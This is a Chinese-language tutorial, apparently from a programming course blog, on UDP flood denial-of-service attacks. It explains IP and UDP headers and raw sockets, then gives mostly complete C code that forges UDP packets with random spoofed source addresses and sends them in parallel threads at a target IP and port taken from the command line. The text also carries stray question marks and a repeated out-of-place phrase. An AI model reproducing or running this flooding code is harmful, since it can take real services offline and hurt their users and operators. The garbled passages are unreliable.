00. 目錄
文章目錄??????????????????????????
01. 洪水攻擊概述
?洪水攻擊(FLOOD ?指的是利用計算機網絡技術向目標機發送大量的無用數據報文,使得目標主機忙于處理無用的數據報文而無法提供正常服務的網絡行為。
?洪水攻擊?顧名思義是用大量的請求來淹沒目標機。洪水攻擊主要利用了網絡協議的安全機制或者直接用十分簡單的ping資源的方法來對目標機造成影響。
?攻擊的手段?主要是使用畸形的報文來讓目標機進行處理或者等待,一般都是在原始套接字層進行程序設計。洪水攻擊主要分為ICMP、UDP和SYN攻擊3種類型。
?ICMP回顯攻擊?利用原始套接字向目標機發送大量回顯請求或者回顯響應的數據,由于此數據協議棧默認是必須處理的,因此可以對目標機造成影響。
?UDP攻擊?則是向目標主機UDP服務端端口發送UDP報文,由于目標機需要對端口進行處理,如果知道目標機的基本數據格式,則可以構建十分有效的代碼來對目標機造成很大傷害。
?SYN攻擊?利用TCP連接中三次握手,在發送一個SYN原始報文后,目標需要對發送的報文進行處理并等待超時。
洪水攻擊是現在黑客比較常用的一種攻擊技術,特點是實施簡單,威力巨大,大多是無視防御的。
02. UDP洪水攻擊原理分析
?UDP攻擊?又稱UDP洪水攻擊或UDP淹沒攻擊(英文:UDP Flood )。UDP 是一種無連接的協議,而且它不需要用任何程序建立連接來傳輸數據。當受害系統接收到一個 UDP 數據包的時候,它會確定目的端口正在等待中的 應用程序。當它發現該端口中并不存在正在等待的應用程序,它就會產生一個目的地址無法連接的 ICMP數據包發送給該偽造的源地址。如果向受害者計算機端口發送了足夠多的 UDP 數據包的時候,整個系統就會癱瘓。
03. IP協議格式
?版本?:IP協議的版本,目前的IP協議版本號為4,下一代IP協議版本號為6。
?首部長度?:IP報頭的長度。固定部分的長度(20字節)和可變部分的長度之和。共占4位。最大為1111,即10進制的15,代表IP報頭的最大長度可以為15個(4字節),也就是最長可為15*4=60字節,除去固定部分的長度20字節,可變部分的長度最大為40字節。
?區分服務?:占 8 位,用來獲得更好的服務。在舊標準中叫做服務類型,但實際上一直未被使用過。1998 年這個字段改名為區分服務。只有在使用區分服務()時,這個字段才起作用。在一般的情況下都不使用這個字段
?總長度?:占 16 位,指首部和數據之和的長度,單位為字節,因此數據報的最大長度為 65535 字節。總長度必須不超過最大傳送單元 MTU。
?標識?:唯一的標識主機發送的每一分數據報。通常每發送一個報文,它的值加一。當IP報文長度超過傳輸網絡的MTU(最大傳輸單元)時必須分片,這個標識字段的值被復制到所有數據分片的標識字段中,使得這些分片在達到最終目的地時可以依照標識字段的內容重新組成原先的數據。
?標志?:共3位。R、DF、MF三位。目前只有后兩位有效,DF位:為1表示不分片,為0表示分片。MF:為1表示“更多的片”,為0表示這是最后一片。
?片位移?:本分片在原先數據報文中相對首位的偏移位。片偏移以8個字節為偏移單位。(需要再乘以8)
?生存時間?:IP報文所允許通過的路由器的最大數量。每經過一個路由器,TTL減1,當為0時,路由器將該數據報丟棄。TTL 字段是由發送端初始設置一個 8 bit字段.推薦的初始值由分配數字 RFC 指定linux網絡編程原始套接字的魔力下,當前值為 64。發送 ICMP 回顯應答時經常把 TTL 設為最大值 255。
?協議?:指出IP報文攜帶的數據使用的是那種協議,以便目的主機的IP層能知道要將數據報上交到哪個進程(不同的協議有專門不同的進程處理)。和端口號類似,此處采用協議號,TCP的協議號為6,UDP的協議號為17。ICMP的協議號為1,IGMP的協議號為2.
?首部校驗和?:計算IP頭部的校驗和,不檢驗數據部分。檢查IP報頭的完整性。
?源IP地址?:發送IP數據報文的源主機地址。
?目的IP地址?:接收IP報文的目標主機地址。
?可選項字段?:占32比特。用來定義一些任選項:如記錄路徑、時間戳等。這些選項很少被使用,同時并不是所有主機和路由器都支持這些選項。可選項字段的長度必須是32比特的整數倍,如果不足,必須填充0以達到此長度要求。
04. UDP協議格式
?源端口?:源端口號,在需要對方回信的時候選用,不需要的時候可用全0
?目的端口?:目的端口號,這在終點交付報文時必須要使用到。
?長度?:UDP用戶數據報的長度(首部字段和數據字段),其最小值是8linux網絡編程原始套接字的魔力下,也即是只有首部。
?檢驗和?:檢測UDP用戶數據報在傳輸的過程中是不是有錯,有錯就丟棄。
05. 原始套接字5.1 原始套接字概述
通常情況下程序員接所接觸到的套接字()為兩類:
?流式套接字()?:一種面向連接的 ,針對于面向連接的TCP 服務應用;?數據報式套接字()?:一種無連接的 ,對應于無連接的 UDP 服務應用。
從用戶的角度來看,、 這兩類套接字似乎的確涵蓋了 TCP/IP 應用的全部,因為基于 TCP/IP 的應用,從協議棧的層次上講,在傳輸層的確只可能建立于 TCP 或 UDP 協議之上,而 、 又分別對應于 TCP 和 UDP,所以幾乎所有的應用都可以用這兩類套接字。
但是,當我們面對如下問題時,、 將顯得這樣無助:
(1)怎樣發送一個自定義的 IP 包?
(2)怎樣發送一個 ICMP 協議包?
(3)怎樣分析所有經過網絡的包,而不管這樣包是否是發給自己的?
(4)怎樣偽裝本地的 IP 地址?
這使得我們必須面對另外一個深刻的主題——原始套接字()。?原始套接字廣泛應用于高級網絡編程,也是一種廣泛的黑客手段?。著名的網絡(一種基于被動偵聽原理的網絡分析方式)、拒絕服務攻擊(DOS)、IP 欺騙等都可以通過原始套接字實現。
原始套接字編程和之前的 UDP 編程差不多,無非就是創建一個套接字后,通過這個套接字接收數據或者發送數據。區別在于,?原始套接字可以自行組裝數據包(偽裝本地 IP,本地 MAC),可以接收本機網卡上所有的數據幀(數據包)?。另外,?必須在管理員權限下才能使用原始套接字。?
5.2 原始套接字相關函數
?創建套接字?
int socket (int family, int type, int protocol )
功能:
創建套接字
參數:
family:協議族 這里寫 AF_INET
type: 套接字類,這里寫 SOCK_RAW
protocol:協議類別,指定可以接收或發送的數據包類型,不能寫 “0”,取值如下,注意,傳參時需要用 htons() 進行字節序轉換。
ETH_P_IP:IPV4數據包
ETH_P_ARP:ARP數據包
ETH_P_ALL:任何協議類型的數據包
IPPROTO_UDP:UDP協議
返回值:
成功( >0 ):套接字,這里為鏈路層的套接字
失敗( <0 ):出錯
?接收數據?
ssize_t recvfrom(int sockfd, void *buf, size_t nbytes,
int flags, struct sockaddr *from, socklen_t *addrlen );
功能:
接收數據
參數:
sockfd:原始套接字
buf:接收數據緩沖區
nbytes:接收數據緩沖區的大小
flags:套接字標志(常為0)
from:這里沒有用,寫 NULL
addrlen:這里沒有用,寫 NULL
返回值:
成功:接收到的字符數
失敗:-1
?發送數據?
ssize_t sendto(int sockfd, const void *buf, size_t nbytes, int flags,
const struct sockaddr *to, socklen_t addrlen );
功能:
發送數據
參數:
sockfd:原始套接字
buf:發送數據緩沖區
nbytes:發送數據緩沖區的大小
flags:一般為 0
to:本機網絡接口,指發送的數據應該從本機的哪個網卡出去,而不是以前的目的地址
addrlen:to 所指向內容的長度
返回值:
成功:發送數據的字符數
失敗: -1
?關閉文件描述符?
int close(int fd);
功能:
關閉文件描述符
參數:
fd 文件描述符
返回值:
成功 0
失敗 -1
06. UDP洪水攻擊實現6.1 IP協議封裝
deng@itcast:/usr/include/netinet$ vim /usr/include/netinet/ip.h
/*
* Structure of an internet header, naked of options.
*/
struct ip
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ip_hl:4; /* header length */
unsigned int ip_v:4; /* version */
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
unsigned int ip_v:4; /* version */
unsigned int ip_hl:4; /* header length */
#endif
uint8_t ip_tos; /* type of service */
unsigned short ip_len; /* total length */
unsigned short ip_id; /* identification */
unsigned short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
uint8_t ip_ttl; /* time to live */
uint8_t ip_p; /* protocol */
unsigned short ip_sum; /* checksum */
struct in_addr ip_src, ip_dst; /* source and dest address */
};
6.2 UDP協議封裝
deng@itcast:/usr/include/netinet$ vim /usr/include/netinet/udp.h
struct udphdr
{
__extension__ union
{
struct
{
uint16_t uh_sport; /* source port */
uint16_t uh_dport; /* destination port */
uint16_t uh_ulen; /* udp length */
uint16_t uh_sum; /* udp checksum */
};
struct
{
uint16_t source;
uint16_t dest;
uint16_t len;
uint16_t check;
};
};
};
6.3 CRC16校驗算法
//計算16位UDP校驗和
unsigned short checksum(unsigned char *buf, int len)
{
unsigned int sum = 0;
unsigned short *cbuf;
cbuf = (unsigned short *)buf;
while(len > 1)
{
sum += *cbuf++;
len -= 2; //剩余尚未累加的16比特的個數
}
if(len) //若len的長度不是偶數
sum += *(unsigned char *)cbuf; //用最后一個字節補齊
//防溢出處理
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}
6.4 UDP封包實現
//組織UDP數據包
int send_udp_dos(int connfd, struct sockaddr_in *paddr)
{
int len = 0;
int ret = -1;
char *packet = NULL;
char *data = NULL;
struct ip *ipheader = NULL;
struct udphdr *udpheader = NULL;
//分配空間 IP首部 + UDP首部 + 數據(64)
len = sizeof(struct ip) + sizeof(struct udphdr) + 64;
packet = malloc(len);
if (NULL == packet)
{
printf("malloc failed...\n");
return 1;
}
//內存清零
memset(packet, 0, len);
//第一部分: IP首部
ipheader = (struct ip*)packet;
//第二部分: UDP首部
udpheader = (struct udphdr*)(packet + sizeof(struct ip));
//第三部分:數據
data = packet + sizeof(struct ip) + sizeof(struct udphdr);
//封裝IP協議
//協議的版本 IPv4
ipheader->ip_v = 4;
//首部長度 20字節 20 / 4 = 5
ipheader->ip_hl = 5;
//區分服務 暫時沒有使用
ipheader->ip_tos = 0;
//總長度 轉化為網路序
ipheader->ip_len = htons(len);
//標識 隨機
ipheader->ip_id = random() % 1024;
//標志 + 片偏移
ipheader->ip_off = 0;
//生存時間 隨機指定64
ipheader->ip_ttl = 64;
//協議
ipheader->ip_p = IPPROTO_UDP;
//首部校驗和 暫時填寫0
ipheader->ip_sum = 0;
ipheader->ip_sum = checksum((unsigned char *)ipheader, sizeof(struct ip));
//隨機源地址
ipheader->ip_src.s_addr = random() % 1000;
//目的地址 參數paddr傳遞進來的
ipheader->ip_dst = paddr->sin_addr;
//封裝UDP協議
//隨機端口 保證每一次發送數據端口不一樣
udpheader->uh_sport = 1024 + random() % 100;
//目的端口
udpheader->uh_dport = paddr->sin_port;
//長度 UDP首部 + 數據
udpheader->uh_ulen = htons(sizeof(struct udphdr) + 64);
//校驗和
udpheader->uh_sum = 0;
udpheader->uh_sum = checksum((unsigned char *)udpheader, sizeof(struct udphdr) + 64);
//填充數據
strcpy(data, "heima C++");
//發送數據 (vim)
//第一個參數: 套接字
//第二個參數: 發送數據
//第三個參數: 發送數據長度
//第四個參數: 標志
//第五個參數: 服務端addr結構
//第六個參數: sizeof(struct sockaddr_in)
ret = sendto(connfd, packet, len, 0, (void*)paddr, sizeof(struct sockaddr_in));
if (ret <= 0)
{
perror("sendto");
return -1;
}
printf("ret: %d\n", ret);
//釋放內存
free(packet);
}
6.5 主函數實現
//UDP洪水攻擊
int main(int argc, char **argv)
{
int i = 0;
int ret = -1;
int on = -1;
//保存線程tid 線程號
pthread_t tid[MAX];
//填寫服務端信息
struct sockaddr_in addr;
//0. 參數檢查
//argv[0] 可執行文件
//argv[1]: IP
//argv[2]: 端口
if (3 != argc)
{
printf("usaage: ./a.out IP port\n");
return 1;
}
//注冊信號 軟件中斷
//第一個參數: 信號編號 SIGINT Ctrl + C 產生
//第二個參數: 信號處理函數 用戶按下Ctrl + C 就會調用回調函數handler
signal(SIGINT, handler);
//1. 創建套接字 UDP
sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
if (-1 == sockfd)
{
//輸出出錯原因
perror("socket");
return 1;
}
printf("sockfd = %d\n", sockfd);
//設置自己封裝IP
on = 1; //表示使能
ret = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
if (-1 == ret)
{
perror("setsockopt");
return -1;
}
//2. 初始化結構體
//服務端IP + 服務端端口
//man 7 ip
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET; //ipv4
//將字符串轉化為int類型 "123"--> 123
addr.sin_port = htons(atoi(argv[2]));
//填充IP 192.168.12.88
//字符串IP轉化為大端模式的IP
inet_pton(AF_INET, argv[1], (void*)&addr.sin_addr);
printf("攻擊的服務器IP: %s 端口: %s\n", argv[1], argv[2]);
#if 1
//循環創建線程
for (i = 0; i < MAX; i++)
{
//第一個參數:傳出線程號
//第二個參數:線程屬性 默認即可 NULL:
//第三個參數:線程處理函數 線程啟動之后執行函數
//第四個參數:傳遞給線程處理函數的參數
pthread_create(&tid[i], NULL, fun, (void*)&addr);
}
//等待所有的線程退出
for (i = 0; i < MAX; i++)
{
//第一個參數: 線程ID
//第二個參數: 傳出線程退出狀態
pthread_join(tid[i], NULL);
}
#else
//3. 循環發送數據
while(1)
{
send_udp_dos(sockfd, &addr);
}
#endif
//4. 關閉文件描述符
close(sockfd);
return 0;
}
07. 測試結果
07. 免費視頻講解
?在線視頻地址?:
08. 總結